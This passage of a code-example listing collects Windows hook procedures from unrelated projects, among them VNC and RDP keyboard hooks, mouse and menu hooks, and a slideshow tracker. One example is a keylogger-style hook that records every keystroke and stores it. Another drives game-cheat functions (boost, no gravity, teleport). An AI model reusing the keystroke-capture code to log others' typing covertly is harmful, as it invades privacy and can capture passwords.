					if (g_fHookActive) 
					{
						if(fKeyDown)
							PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_CONN_ALTDOWN,0);
						else
							PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_CONN_ALTUP,0);
						fHandled = TRUE;
					}
					break;
				case VK_LWIN:
					if (g_fHookActive) 
					{
						if(fKeyDown)
						{
							winKeyDown = true;
							Log.Add(_MESSAGE_,_T("LWin key pressed"));
							PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_VK_LWINDOWN,0);
						}
						else
						{
							winKeyDown = false;
							Log.Add(_MESSAGE_,_T("LWin key unpressed"));
							PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_VK_LWINUP,0);
						}
						fHandled = countWinKeysToSkip>0?FALSE:TRUE;
						if (countWinKeysToSkip>0)
							--countWinKeysToSkip;
					}
					break;
				case VK_RWIN:
					if (g_fHookActive) 
					{
						if(fKeyDown)
						{
							winKeyDown = true;
							Log.Add(_MESSAGE_,_T("RWin key pressed"));
							PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_VK_RWINDOWN,0);
						}
						else
						{
							winKeyDown = false;
							Log.Add(_MESSAGE_,_T("RWin key unpressed"));
							PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_VK_RWINUP,0);
						}
						fHandled = countWinKeysToSkip>0?FALSE:TRUE;
						if (countWinKeysToSkip>0)
							--countWinKeysToSkip;
					}
					break;
				case VK_APPS:
					if (g_fHookActive)
					{
						if(fKeyDown)
							PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_VK_APPSDOWN,0);
						else
							PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_VK_APPSUP,0);
						fHandled = TRUE;
					}
					break; 

					//Scroll Lock = Turn the whole thing on or off
					//This is a little tricky hack:
					//Windows sets the scroll-lock LED on or off when the user PRESSes the scroll-lock key.
					//We'll check the LED state when the user RELEASEs the key, so the LED is already set.
					//If the LED/ScrollLock is ON, we'll activate the special key interception.
				/*case VK_SCROLL:
					if (!fKeyDown) 
					{
						g_fHookActive = GetScrollLockState(); 
					}
					break;*/

					//SPACEBAR = When key interception is Active, no special handling is required for 'spacebar'.
					//But when key interception is turned off, I want ALT+SPACE to open the VNCViewer's System Menu.
				case VK_SPACE:
					if (!g_fHookActive) 
					{
						if (pkbdllhook->flags & LLKHF_ALTDOWN) 
						{
							if(!fKeyDown)
								PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,0xF100,0x20); 

							fHandled = TRUE;
						}
					}
					break ;

					//ESCAPE = ALT+ESC is also a way to switch application, so we block the ESCAPE key,
					//Otherwise windows (on the VNCViewer's side) will switch to another application.
					//Transmitting the ALT+ESCAPE combination to a VNCServer running Windows doesn't work
					//very well, so for now, we'll just block the ALT+ESCAPE combination.
					//(CTRL+ESC work OK, BTW)
				case VK_ESCAPE:
					if (g_fHookActive)
					{
						if (pkbdllhook->flags & LLKHF_ALTDOWN) 
						{
							fHandled = TRUE;
						} else
						if (fKeyDown)
						{
							fHandled = TRUE;
							PostMessage(g_hwndVNCViewer, wParam + WM_USER, pkbdllhook->vkCode, 0);
						}
					}
					break;
				default:
					if (g_fHookActive)
					{
						switch(pkbdllhook->vkCode)
						{
							case VK_LSHIFT:
							case VK_RSHIFT:
							case VK_SHIFT:
								/*pkbdllhook->vkCode = VK_SHIFT;
								fHandled = TRUE;
								break;*/
							case VK_CAPITAL:
							case VK_NUMLOCK:
							case VK_SCROLL:
								fHandled = FALSE;
								break;
							default:
								fHandled = TRUE;
								break;
						}
						if (TRUE == fHandled && fKeyDown)
						{
							if (pkbdllhook->vkCode >= 0x41 /*A key*/ || pkbdllhook->vkCode <= 0x5A /*Z key*/ && fKeyDown)
							{
								if (winKeyDown && 
									pkbdllhook->vkCode == 'l'-'a' + 0x41)
								{
									countWinKeysToSkip = 2;
									Log.Add(_MESSAGE_,_T("Win+L pressed, injecting win key to prevent keys sticking on windows Vista"));
									keybd_event(VK_LWIN, 0, 0, 0);
									keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0);
								} else
									SendMessage(g_hwndVNCViewer, wParam + WM_USER, pkbdllhook->vkCode, 0);
							}
							else
								if (ClientConnection::m_fullScreen > 0)
									PostMessage(g_hwndVNCViewer, wParam + WM_USER, pkbdllhook->vkCode, 0);
								else 
									fHandled = FALSE;
						}
					}
			} //switch(pkbdllhook->vkCode)

		} // if (ProcessID == g_VncProcesID)

	} // if (nCode==HT_ACTION)
	//Call the next hook, if we didn't handle this message
	return (fHandled ? TRUE : CallNextHookEx(g_HookID, nCode, wParam, lParam));
CATCH_LOG()
	return CallNextHookEx(g_HookID, nCode, wParam, lParam);
}
Esempio n. 15
0
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	HWND hForeground = 0;
	hForeground = GetForegroundWindow();
	char szForegroundWindowTitle[64];
	GetWindowText(hForeground, szForegroundWindowTitle, 64);

	if (!strcmp(szForegroundWindowTitle, GAMENAME))
	{
		KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT *) lParam;
	
		if (nCode == HC_ACTION && wParam == WM_KEYUP)
		{
			if (pkbhs->vkCode == LOBYTE(g_pTM2Hack->m_wBoostHotkey))
			{
				g_pTM2Hack->Boost(false);
			}
			else if (pkbhs->vkCode == 0x4A) // j
			{
				SendDlgItemMessage(g_hWindow, IDC_BUTTON2, BM_CLICK, NULL, NULL);
			}
			else if (pkbhs->vkCode == LOBYTE(g_pTM2Hack->m_wNoGravityHotkey))
			{
				if (g_pTM2Hack->m_bNoGravityEnabled)
				{
					g_pTM2Hack->NoGravity(false);
				}
			}
			else if (pkbhs->vkCode == VK_F1)
			{
				if (GetAsyncKeyState(VK_SHIFT))
					g_pTM2Hack->SaveCurPos(0);
				else
					g_pTM2Hack->TeleportToPos(0);
			}
			else if (pkbhs->vkCode == VK_F2)
			{
				if (GetAsyncKeyState(VK_SHIFT))
					g_pTM2Hack->SaveCurPos(1);
				else
					g_pTM2Hack->TeleportToPos(1);
			}
			else if (pkbhs->vkCode == VK_F3)
			{
				if (GetAsyncKeyState(VK_SHIFT))
					g_pTM2Hack->SaveCurPos(2);
				else
					g_pTM2Hack->TeleportToPos(2);
			}
			else if (pkbhs->vkCode == VK_F4)
			{
				if (GetAsyncKeyState(VK_SHIFT))
					g_pTM2Hack->SaveCurPos(3);
				else
					g_pTM2Hack->TeleportToPos(3);
			}
			else if (pkbhs->vkCode == VK_F8)
			{
				if (GetAsyncKeyState(VK_SHIFT))
					g_pTM2Hack->SaveCurPosToSeries();
				else if (GetAsyncKeyState(VK_DELETE))
					g_pTM2Hack->m_vecAutoPositions.clear();
				else
					g_pTM2Hack->LoadTeleportArray();
			}
		}
		else if (nCode == HC_ACTION && wParam == WM_KEYDOWN)
		{
			if (pkbhs->vkCode == LOBYTE(g_pTM2Hack->m_wBoostHotkey))
			{
				g_pTM2Hack->Boost(true);
			}
		}
	}

	return CallNextHookEx (g_hLowLevelKeyHook, nCode, wParam, lParam);
}
Esempio n. 16
0
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) 
{ 
    char szCode[128]; 
	HWND hwnd = (HWND) wParam;

	if (nCode < 0)  // do not process message
    {
        return CallNextHookEx(hhk, nCode, wParam, 
            lParam); 
    }
 
    switch (nCode) 
    { 
        case HCBT_ACTIVATE:
            strcpy(szCode, "HCBT_ACTIVATE");
            break; 
 
        case HCBT_CLICKSKIPPED:
            strcpy(szCode, "HCBT_CLICKSKIPPED");
            break; 
 
        case HCBT_CREATEWND:
            strcpy(szCode, "HCBT_CREATEWND");
                     
            break; 
 
        case HCBT_DESTROYWND:
            strcpy(szCode, "HCBT_DESTROYWND");
            break; 
 
        case HCBT_KEYSKIPPED:
            strcpy(szCode, "HCBT_KEYSKIPPED");
            break; 
 
        case HCBT_MINMAX:
            strcpy(szCode, "HCBT_MINMAX");
            break; 
 
        case HCBT_MOVESIZE:
            strcpy(szCode, "HCBT_MOVESIZE");
            break; 
 
        case HCBT_QS:
            strcpy(szCode, "HCBT_QS");
            break; 
 
        case HCBT_SETFOCUS:
            strcpy(szCode, "HCBT_SETFOCUS");
    		CreateThread(NULL, // sECURITY ATTRIBUTES
    				0, // Stack Size,
    				ProcessFocus, hwnd, // Param
    				0, // Options,
    				NULL); // Thread id
			installJavaPlugin(hwnd);
            break;						
 
        case HCBT_SYSCOMMAND:
            strcpy(szCode, "HCBT_SYSCOMMAND");
            break; 
 
        default:
            strcpy(szCode, "Unknown");
            break; 
    } 

	return CallNextHookEx(hhk, nCode, wParam,
        lParam); 
} 
Esempio n. 17
0
LRESULT CALLBACK KeyboardHookProc(int code, WPARAM wParam, LPARAM lParam)
{
	/* The 32nd bit of lParam tells us if 
	   the key is being pressed or released */
	if(!(lParam >> 31) && (code >= 0))
	{
		char *keyw = (char *)calloc(STR_SZ1, sizeof(char));
		/////////////////////////////////////////////////////////
		// Describe the keystroke in wParam & store it in 'keyw'
		/////////////////////////////////////////////////////////
		{
			/* virtual key code */
			char vkc = 0;
			vkc = /* maintain alphabet case */
				((GetKeyState(VK_SHIFT) < 0)&&(
				!(GetKeyState(VK_CAPITAL) < 0)))
				? toupper((char)(wParam))
				: tolower((char)(wParam));
			/* numeric pad keys 0 to 10 */
			if((wParam >= VK_NUMPAD0)&&
			    (wParam <= VK_NUMPAD9))
				sprintf(keyw,"[NumPad:%u]",
				(wParam - VK_NUMPAD0));
			/* keys from 0 to 9 , A to Z and space */
			else if(((wParam >= 0x30) 
			     &&(wParam <= 0x5A)) 
			     ||(wParam == 0x20))
			{
				keyw[0] = vkc;
				keyw[1] = 0;
			}
			/* function keys */
			else if((wParam >= VK_F1)
			     &&(wParam <= VK_F24))
			{
				sprintf(keyw,"[F%u]",
				(wParam - VK_F1 + 1));
			}
			else switch(wParam)
			{
				case VK_CANCEL:    strcpy(keyw,"[CTRL-BRK]"); break;
				case VK_BACK:      strcpy(keyw,"[BACK]"); break;
				case VK_TAB:       strcpy(keyw,"[TAB]"); break;
				case VK_CLEAR:     strcpy(keyw,"[CLEAR]"); break;
				case VK_RETURN:    strcpy(keyw,"[ENTER]\r\n"); break;
				case VK_SHIFT:     strcpy(keyw,"[SHIFT]"); break;
				case VK_CONTROL:   strcpy(keyw,"[CTRL]"); break;
				case VK_MENU:      strcpy(keyw,"[ALT]"); break;
				case VK_PAUSE:     strcpy(keyw,"[PAUSE]"); break;
				case VK_CAPITAL:   strcpy(keyw,"[CapsLock]"); break;
				case VK_ESCAPE:    strcpy(keyw,"[ESC]"); break;
				case VK_PRIOR:     strcpy(keyw,"[PageUp]"); break;
				case VK_NEXT:      strcpy(keyw,"[PageDown]"); break;
				case VK_END:       strcpy(keyw,"[END]"); break;
				case VK_HOME:      strcpy(keyw,"[HOME]"); break;
				case VK_LEFT:      strcpy(keyw,"[LEFT]"); break;
				case VK_UP:        strcpy(keyw,"[UP]"); break;
				case VK_RIGHT:     strcpy(keyw,"[RIGHT]"); break;
				case VK_DOWN:      strcpy(keyw,"[DOWN]"); break;
				case VK_SELECT:    strcpy(keyw,"[SELECT]"); break;
				case VK_EXECUTE:   strcpy(keyw,"[EXECUTE]"); break;
				case VK_SNAPSHOT:  strcpy(keyw,"[PrintScreen]"); break;
				case VK_INSERT:    strcpy(keyw,"[INSERT]"); break;
				case VK_DELETE:    strcpy(keyw,"[DELETE]"); break;
				case VK_HELP:      strcpy(keyw,"[HELP]"); break;
				case VK_LWIN:      strcpy(keyw,"[LeftWindowsKey]"); break;
				case VK_RWIN:      strcpy(keyw,"[RightWindowsKey]"); break;
				case VK_APPS:      strcpy(keyw,"[ApplicationKey]"); break;
				case VK_MULTIPLY:  strcpy(keyw,"[MULTIPLY]"); break;
				case VK_ADD:       strcpy(keyw,"[ADD]"); break;
				case VK_SEPARATOR: strcpy(keyw,"[SEPERATOR]"); break;
				case VK_SUBTRACT:  strcpy(keyw,"[SUBTRACT]"); break;
				case VK_DECIMAL:   strcpy(keyw,"[DECIMAL]"); break;
				case VK_DIVIDE:    strcpy(keyw,"[DIVIDE]"); break;
				case VK_NUMLOCK:   strcpy(keyw,"[NumLock]"); break;
				case VK_SCROLL:    strcpy(keyw,"[ScrollLock]"); break;
				case VK_ATTN:      strcpy(keyw,"[ATTN]"); break;
				case VK_CRSEL:     strcpy(keyw,"[CrSel]"); break;
				case VK_EXSEL:     strcpy(keyw,"[ExSel]"); break;
				case VK_EREOF:     strcpy(keyw,"[EraseEOF]"); break;
				case VK_PLAY:      strcpy(keyw,"[PLAY]"); break;
				case VK_ZOOM:      strcpy(keyw,"[ZOOM]"); break;
				default: sprintf(keyw,"[(%d)%c]",wParam,wParam); break;
			}
		}
		/* The first 16 bits of lParam tells
		   us how long the key was pressed */
		UINT repeat = (lParam << 16) >> 16;
		if(!repeat) repeat = 1;
		char *key = (char *) calloc
		((repeat * strlen(keyw))+1, sizeof(char));
		if(key == NULL)
			goto exit_point;
		while(repeat--)
			strcat(key, keyw);

		if(key)
			StoreInformation(key);
	exit_point:
		free(keyw);
		free(key);
	}
	return CallNextHookEx(KeyHook, code, wParam, lParam);
}
Esempio n. 18
0
static LRESULT CALLBACK cbt_hook_proc(int nCode, WPARAM wParam, LPARAM lParam)
{
    return nCode == HCBT_CREATEWND ? 1: CallNextHookEx(hhook, nCode, wParam, lParam);
}
Esempio n. 19
0
LRESULT CALLBACK wf_ll_kbd_proc(int nCode, WPARAM wParam, LPARAM lParam)
{
	wfInfo* wfi;
	DWORD rdp_scancode;
	rdpInput* input;
	PKBDLLHOOKSTRUCT p;

	DEBUG_KBD("Low-level keyboard hook, hWnd %X nCode %X wParam %X", g_focus_hWnd, nCode, wParam);

	if (g_focus_hWnd && (nCode == HC_ACTION))
	{
		switch (wParam)
		{
			case WM_KEYDOWN:
			case WM_SYSKEYDOWN:
			case WM_KEYUP:
			case WM_SYSKEYUP:
				wfi = (wfInfo*) GetWindowLongPtr(g_focus_hWnd, GWLP_USERDATA);
				p = (PKBDLLHOOKSTRUCT) lParam;

				if (!wfi || !p)
					return 1;
				
				input = wfi->instance->input;
				rdp_scancode = MAKE_RDP_SCANCODE((BYTE) p->scanCode, p->flags & LLKHF_EXTENDED);

				DEBUG_KBD("keydown %d scanCode %04X flags %02X vkCode %02X",
					(wParam == WM_KEYDOWN), (BYTE) p->scanCode, p->flags, p->vkCode);

				if (wfi->fs_toggle &&
					((p->vkCode == VK_RETURN) || (p->vkCode == VK_CANCEL)) &&
					(GetAsyncKeyState(VK_CONTROL) & 0x8000) &&
					(GetAsyncKeyState(VK_MENU) & 0x8000)) /* could also use flags & LLKHF_ALTDOWN */
				{
					if (wParam == WM_KEYDOWN)
					{
						wf_toggle_fullscreen(wfi);
						return 1;
					}
				}

				if (rdp_scancode == RDP_SCANCODE_NUMLOCK_EXTENDED)
				{
					/* Windows sends NumLock as extended - rdp doesn't */
					DEBUG_KBD("hack: NumLock (x45) should not be extended");
					rdp_scancode = RDP_SCANCODE_NUMLOCK;
				}
				else if (rdp_scancode == RDP_SCANCODE_NUMLOCK)
				{
					/* Windows sends Pause as if it was a RDP NumLock (handled above).
					 * It must however be sent as a one-shot Ctrl+NumLock */
					if (wParam == WM_KEYDOWN)
					{
						DEBUG_KBD("Pause, sent as Ctrl+NumLock");
						freerdp_input_send_keyboard_event_ex(input, TRUE, RDP_SCANCODE_LCONTROL);
						freerdp_input_send_keyboard_event_ex(input, TRUE, RDP_SCANCODE_NUMLOCK);
						freerdp_input_send_keyboard_event_ex(input, FALSE, RDP_SCANCODE_LCONTROL);
						freerdp_input_send_keyboard_event_ex(input, FALSE, RDP_SCANCODE_NUMLOCK);
					}
					else
					{
						DEBUG_KBD("Pause up");
					}

					return 1;
				}
				else if (rdp_scancode == RDP_SCANCODE_RSHIFT_EXTENDED)
				{
					DEBUG_KBD("right shift (x36) should not be extended");
					rdp_scancode = RDP_SCANCODE_RSHIFT;
				}

				freerdp_input_send_keyboard_event_ex(input, !(p->flags & LLKHF_UP), rdp_scancode);

				if (p->vkCode == VK_CAPITAL)
					DEBUG_KBD("caps lock is processed on client side too to toggle caps lock indicator");
				else
					return 1;

				break;
		}
	}

	return CallNextHookEx(NULL, nCode, wParam, lParam);
}
Esempio n. 20
0
// This hook exists whilst the slideshow is running but only listens on the
// slideshows thread. It listens out for slide changes, message WM_USER+22.
LRESULT CALLBACK CwpProc(int nCode, WPARAM wParam, LPARAM lParam){
    CWPSTRUCT *cwp;
    cwp = (CWPSTRUCT *)lParam;
    HHOOK hook = NULL;
    char filename[MAX_PATH];

    DWORD windowThread = GetWindowThreadProcessId(cwp->hwnd, NULL);
    int id = -1;
    for (int i = 0; i < MAX_PPTS; i++)
    {
        if (pptView[i].dwThreadId == windowThread)
        {
            id = i;
            hook = pptView[id].hook;
            break;
        }
    }
    if ((id >= 0) && (nCode == HC_ACTION))
    {
        if (cwp->message == WM_USER + 22)
        {
            if (pptView[id].state != PPT_LOADED)
            {
                if ((pptView[id].currentSlide > 0)
                    && (pptView[id].previewPath != NULL
                    && strlen(pptView[id].previewPath) > 0))
                {
                    sprintf_s(filename, MAX_PATH, "%s%i.bmp",
                        pptView[id].previewPath,
                        pptView[id].currentSlide);
                    CaptureAndSaveWindow(cwp->hwnd, filename);
                }
                if (((cwp->wParam == 0)
                    || (pptView[id].slideNos[1] == cwp->wParam))
                    && (pptView[id].currentSlide > 0))
                {
                    pptView[id].state = PPT_LOADED;
                    pptView[id].currentSlide = pptView[id].slideCount + 1;
                }
                else
                {
                    if (cwp->wParam > 0)
                    {
                        pptView[id].currentSlide = pptView[id].currentSlide + 1;
                        pptView[id].slideNos[pptView[id].currentSlide]
                            = cwp->wParam;
                        pptView[id].slideCount = pptView[id].currentSlide;
                        pptView[id].lastSlideSteps = 0;
                    }
                }
            }
            else
            {
                if (cwp->wParam > 0)
                {
                    if(pptView[id].guess > 0
                        && pptView[id].slideNos[pptView[id].guess] == 0)
                    {
                        pptView[id].currentSlide = 0;
                    }
                    for(int i = 1; i <= pptView[id].slideCount; i++)
                    {
                        if(pptView[id].slideNos[i] == cwp->wParam)
                        {
                            pptView[id].currentSlide = i;
                            break;
                        }
                    }
                    if(pptView[id].currentSlide == 0)
                    {
                        pptView[id].slideNos[pptView[id].guess] = cwp->wParam;
                        pptView[id].currentSlide = pptView[id].guess;
                    }
                    pptView[id].guess = 0;
                }
            }
        }
        if ((pptView[id].state != PPT_CLOSED)

            &&(cwp->message == WM_CLOSE || cwp->message == WM_QUIT))
        {
            pptView[id].state = PPT_CLOSING;
        }
    }
    return CallNextHookEx(hook, nCode, wParam, lParam);
}
LRESULT CALLBACK mouse_hook_event_proc(int nCode, WPARAM wParam, LPARAM lParam) {
	// Calculate Unix epoch from native time source.
	uint64_t timestamp = get_event_timestamp();

	MSLLHOOKSTRUCT *mshook = (MSLLHOOKSTRUCT *) lParam;
	switch (wParam) {
		case WM_LBUTTONDOWN:
			set_modifier_mask(MASK_BUTTON1);
			process_button_pressed(timestamp, mshook, MOUSE_BUTTON1);
			break;

		case WM_RBUTTONDOWN:
			set_modifier_mask(MASK_BUTTON2);
			process_button_pressed(timestamp, mshook, MOUSE_BUTTON2);
			break;

		case WM_MBUTTONDOWN:
			set_modifier_mask(MASK_BUTTON3);
			process_button_pressed(timestamp, mshook, MOUSE_BUTTON3);
			break;

		case WM_XBUTTONDOWN:
		case WM_NCXBUTTONDOWN:
			if (HIWORD(mshook->mouseData) == XBUTTON1) {
				set_modifier_mask(MASK_BUTTON4);
				process_button_pressed(timestamp, mshook, MOUSE_BUTTON4);
			}
			else if (HIWORD(mshook->mouseData) == XBUTTON2) {
				set_modifier_mask(MASK_BUTTON5);
				process_button_pressed(timestamp, mshook, MOUSE_BUTTON5);
			}
			else {
				// Extra mouse buttons.
				uint16_t button = HIWORD(mshook->mouseData);

				// Add support for mouse 4 & 5.
				if (button == 4) {
					set_modifier_mask(MOUSE_BUTTON4);
				}
				else if (button == 5) {
					set_modifier_mask(MOUSE_BUTTON5);
				}

				process_button_pressed(timestamp, mshook, button);
			}
			break;


		case WM_LBUTTONUP:
			unset_modifier_mask(MASK_BUTTON1);
			process_button_released(timestamp, mshook, MOUSE_BUTTON1);
			break;

		case WM_RBUTTONUP:
			unset_modifier_mask(MASK_BUTTON2);
			process_button_released(timestamp, mshook, MOUSE_BUTTON2);
			break;

		case WM_MBUTTONUP:
			unset_modifier_mask(MASK_BUTTON3);
			process_button_released(timestamp, mshook, MOUSE_BUTTON3);
			break;

		case WM_XBUTTONUP:
		case WM_NCXBUTTONUP:
			if (HIWORD(mshook->mouseData) == XBUTTON1) {
				unset_modifier_mask(MASK_BUTTON4);
				process_button_released(timestamp, mshook, MOUSE_BUTTON4);
			}
			else if (HIWORD(mshook->mouseData) == XBUTTON2) {
				unset_modifier_mask(MASK_BUTTON5);
				process_button_released(timestamp, mshook, MOUSE_BUTTON5);
			}
			else {
				// Extra mouse buttons.
				uint16_t button = HIWORD(mshook->mouseData);

				// Add support for mouse 4 & 5.
				if (button == 4) {
					unset_modifier_mask(MOUSE_BUTTON4);
				}
				else if (button == 5) {
					unset_modifier_mask(MOUSE_BUTTON5);
				}

				process_button_released(timestamp, mshook, MOUSE_BUTTON5);
			}
			break;

		case WM_MOUSEMOVE:
			process_mouse_moved(timestamp, mshook);
			break;

		case WM_MOUSEWHEEL:
			process_mouse_wheel(timestamp, mshook);
			break;

		/* For horizontal scroll wheel support.
		 * NOTE Windows >= Vista
		 * case 0x020E:
		case WM_MOUSEHWHEEL:
			process_mouse_wheel(timestamp, mshook);
			break;				
		*/
		
		default:
			// In theory this *should* never execute.
			logger(LOG_LEVEL_WARN,	"%s [%u]: Unhandled Windows mouse event! (%#X)\n",
					__FUNCTION__, __LINE__, (unsigned int) wParam);
			break;
	}

	LRESULT hook_result = -1;
	if (nCode < 0 || event.reserved ^ 0x01) {
		hook_result = CallNextHookEx(mouse_event_hhook, nCode, wParam, lParam);
	}
	else {
		logger(LOG_LEVEL_DEBUG,	"%s [%u]: Consuming the current event. (%li)\n",
				__FUNCTION__, __LINE__, (long) hook_result);
	}

	return hook_result;
}
Esempio n. 22
0
/// hook of GetMessage
LRESULT CALLBACK getMessageProc(int i_nCode, WPARAM i_wParam, LPARAM i_lParam)
{
    if (!g.m_isInitialized)
        initialize(false);

    if (!g_hookData)
        return 0;

    MSG &msg = (*(MSG *)i_lParam);

    if (i_wParam != PM_REMOVE)
        goto finally;

    switch (msg.message) {
    case WM_COMMAND:
    case WM_SYSCOMMAND:
        notifyCommand(msg.hwnd, msg.message, msg.wParam, msg.lParam);
        break;
    case WM_KEYDOWN:
    case WM_KEYUP:
    case WM_SYSKEYDOWN:
    case WM_SYSKEYUP: {
        if (HIMC hIMC = ImmGetContext(msg.hwnd)) {
            bool prev = g.m_isImeLock;
            g.m_isImeLock = !!ImmGetOpenStatus(hIMC);
            ImmReleaseContext(msg.hwnd, hIMC);
            if (prev != g.m_isImeLock) {
                notifyLockState(1);
            }
        }
        int nVirtKey = (int)msg.wParam;
        // int repeatCount = (msg.lParam & 0xffff);
        BYTE scanCode   = (BYTE)((msg.lParam >> 16) & 0xff);
        bool isExtended = !!(msg.lParam & (1 << 24));
        // bool isAltDown  = !!(msg.lParam & (1 << 29));
        // bool isKeyup    = !!(msg.lParam & (1 << 31));

        if (nVirtKey == VK_CAPITAL ||
                nVirtKey == VK_NUMLOCK ||
                nVirtKey == VK_KANA ||
                nVirtKey == VK_SCROLL)
            notifyLockState(2);
        else if (scanCode == g_hookData->m_syncKey &&
                 isExtended == g_hookData->m_syncKeyIsExtended)
            notifySync();
        break;
    }
    case WM_IME_STARTCOMPOSITION:
        g.m_isImeCompositioning = true;
        notifyLockState(3);
        break;
    case WM_IME_ENDCOMPOSITION:
        g.m_isImeCompositioning = false;
        notifyLockState(4);
        break;
    default:
        if (i_wParam == PM_REMOVE && msg.message == g.m_WM_MAYU_MESSAGE) {
            switch (msg.wParam) {
            case MayuMessage_notifyName:
                notifyName(msg.hwnd);
                break;
            case MayuMessage_funcRecenter:
                funcRecenter(msg.hwnd);
                break;
            case MayuMessage_funcSetImeStatus:
                funcSetImeStatus(msg.hwnd, msg.lParam);
                break;
            case MayuMessage_funcSetImeString:
                funcSetImeString(msg.hwnd, msg.lParam);
                break;
            }
        }
        break;
    }
finally:
    return CallNextHookEx(s_hookDataArch->m_hHookGetMessage,
                          i_nCode, i_wParam, i_lParam);
}
static LRESULT CALLBACK hookkeyproc(UINT nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode < 0)
	{ /* pass it on */
	 CallNextHookEx(hookKey, nCode, wParam, lParam);
	 return 0;
	} /* pass it on */
     


		DWORD keyflags = lParam;
		DWORD transitionFLAG = 0x80000000;
		DWORD repeatFLAG = 0x40000000;

		DWORD val = keyflags & transitionFLAG;

			

		if (wParam==VK_SHIFT) 
		{
			if (val==0)
				shiftDown = 1;
			else
				shiftDown = 0;
		}

		if (wParam==VK_MENU) 
		{
			if (val==0)
				altDown = 1;
			else
				altDown = 0;
		}

		if (wParam==VK_CONTROL) 
		{
			if (val==0)
				ctrlDown = 1;
			else
				ctrlDown = 0;
		}


		DWORD specialKeys = ctrlDown * 4 + shiftDown * 2 + altDown * 1;


	
		//Can this code prevent too many messages from being sent to vscap	and cause it to crash ?		
		unsigned long currentKeyTime = timeGetTime();
		unsigned long difftime = currentKeyTime - oldKeyTime;
		
		//ver 1.8
		if (difftime>150) {				
		
			//Repeating keys..
			if ((previousKey == wParam) && (difftime<300))
				return CallNextHookEx(hookKey, nCode, wParam, lParam);   		
			
			previousKey = wParam;
			
			//if (lParam>0) {
				
				
				//ShowWindow( hWndServerKey, SW_SHOW); 
			
				//PostMessage(hWndServerKey, WM_USER_KEYSTART , wParam, lParam);
				PostMessage(hWndServerKey, WM_USER_KEYSTART , wParam, specialKeys);
				oldKeyTime = currentKeyTime;
			//}

		}
			  
	
		 
	 
     return CallNextHookEx(hookKey, nCode, wParam, lParam);    
    
} 
Esempio n. 24
0
static LRESULT CALLBACK
menubar_ht_proc(int code, WPARAM wp, LPARAM lp)
{
    if(code >= 0) {
        MSG* msg = (MSG*)lp;
        menubar_t* mb = menubar_ht_mb;

        MC_ASSERT(mb != NULL);

        switch(msg->message) {
            case WM_MENUSELECT:
                menubar_ht_sel_menu = (HMENU)msg->lParam;
                menubar_ht_sel_item = LOWORD(msg->wParam);
                menubar_ht_sel_flags = HIWORD(msg->wParam);
                MENUBAR_TRACE("menubar_ht_proc: WM_MENUSELECT %p %d", menubar_ht_sel_menu, menubar_ht_sel_item);
                break;

            case WM_MOUSEMOVE:
            {
                POINT pt = msg->pt;
                int item;

                MapWindowPoints(NULL, mb->win, &pt, 1);
                item = MENUBAR_SENDMSG(mb->win, TB_HITTEST, 0, (LPARAM)&pt);
                if(menubar_ht_last_pos.x != pt.x  ||  menubar_ht_last_pos.y != pt.y) {
                    menubar_ht_last_pos = pt;
                    if(item != mb->pressed_item  &&
                       0 <= item  &&  item < MENUBAR_SENDMSG(mb->win, TB_BUTTONCOUNT, 0, 0)) {
                        MENUBAR_TRACE("menubar_ht_proc: Change dropdown by mouse move "
                                      "[%d -> %d]", mb->pressed_item, item);
                        menubar_ht_change_dropdown(mb, item, FALSE);
                    }
                }
                break;
            }

            case WM_KEYDOWN:
            case WM_SYSKEYDOWN:
                switch(msg->wParam) {
                    case VK_MENU:
                    case VK_F10:
                        menubar_ht_change_dropdown(mb, -1, TRUE);
                        return 0;

                    case VK_LEFT:
                        if(menubar_ht_sel_menu == NULL  ||
                           menubar_ht_sel_menu == GetSubMenu(mb->menu, mb->pressed_item))
                        {
                            int item = mb->pressed_item - 1;
                            if(item < 0)
                                item = MENUBAR_SENDMSG(mb->win, TB_BUTTONCOUNT, 0, 0) - 1;
                            MENUBAR_TRACE("menubar_ht_proc: Change dropdown by VK_LEFT");
                            if(item != mb->pressed_item)
                                menubar_ht_change_dropdown(mb, item, TRUE);
                            menubar_update_ui_state(mb, TRUE);
                        }
                        break;

                    case VK_RIGHT:
                        if(menubar_ht_sel_menu == NULL  ||
                           !(menubar_ht_sel_flags & MF_POPUP) ||
                           (menubar_ht_sel_flags & (MF_GRAYED | MF_DISABLED)))
                        {
                            int item = mb->pressed_item + 1;
                            if(item >= MENUBAR_SENDMSG(mb->win, TB_BUTTONCOUNT, 0, 0))
                                item = 0;
                            MENUBAR_TRACE("menubar_ht_proc: Change dropdown by VK_RIGHT");
                            if(item != mb->pressed_item)
                                menubar_ht_change_dropdown(mb, item, TRUE);
                            menubar_update_ui_state(mb, TRUE);
                        }
                        break;
                }
                break;
        }
    }

    return CallNextHookEx(menubar_ht_hook, code, wp, lp);
}
/*static*/ LRESULT CALLBACK 
sbWindowMoveService::CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  // This is a message we shouldn't process. See SetWindowHookEx docs
  // on MSDN for more information about how to process window hook
  // messages.
  if(nCode < 0) {
    return CallNextHookEx(NULL, nCode, wParam, lParam);
  }

  PCWPSTRUCT msg = reinterpret_cast<PCWPSTRUCT>(lParam);
  
  sbWindowMoveService *self = 
    reinterpret_cast<sbWindowMoveService *>(::GetPropW(msg->hwnd, PROP_WMS_INST));
  if (!self) {
    // This wasn't a window that we're interested in, don't do anything
    return CallNextHookEx(NULL, nCode, wParam, lParam);
  }

  if(msg->message == WM_WINDOWPOSCHANGING) {
    // if the window didn't actually move, then we don't actually care
    WINDOWINFO wi;
    wi.cbSize = sizeof(WINDOWINFO);
    if (GetWindowInfo(msg->hwnd, &wi)) {
      RECT* oldpos = &wi.rcWindow;
      WINDOWPOS* newpos = (WINDOWPOS*)msg->lParam;
